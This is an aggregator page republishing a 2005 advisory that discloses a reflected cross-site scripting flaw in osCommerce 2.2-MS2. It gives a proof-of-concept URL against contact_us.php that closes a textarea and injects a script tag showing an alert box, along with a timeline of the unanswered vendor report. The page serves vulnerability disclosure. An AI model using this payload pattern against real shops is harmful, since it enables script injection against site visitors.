Lucene search

osCommerceXSS.txt

🗓️ 25 Feb 2005 00:00:00Reported by John CobbType

packetstorm🔗 packetstormsecurity.com👁 18 Views

XSS vulnerability discovered in osCommerce 2.2-MS2 with no response from authors yet.

5 of 5AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

`Hello All,  
  
I have discovered XSS vulnerability in: osCommerce 2.2-MS2   
  
Authors Site: http://www.oscommerce.com/  
  
+-[Example:]--------------------------------------------------+  
  
XSS:  
  
http://www.victimsite.com/contact_us.php?&name=1&email=1&enquiry=%3C/textare  
a%3E%3Cscript%3Ealert('w00t');%3C/script%3E   
  
Result:  
  
A nice pop up box.  
  
+-[Notes:]----------------------------------------------------+  
  
Vulnerabilities found on: 09/02/2005  
Author(s) Informed on: 09/02/2005  
Author(s) Response: None - Just sat on bug list  
Author(s) Fix: - None As Of Yet  
  
  
Regards  
  
John Cobb  
  
[email protected]  
  
http://www.nobytes.com  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

25 Feb 2005 00:00Current

7.4High risk

Vulners AI Score7.4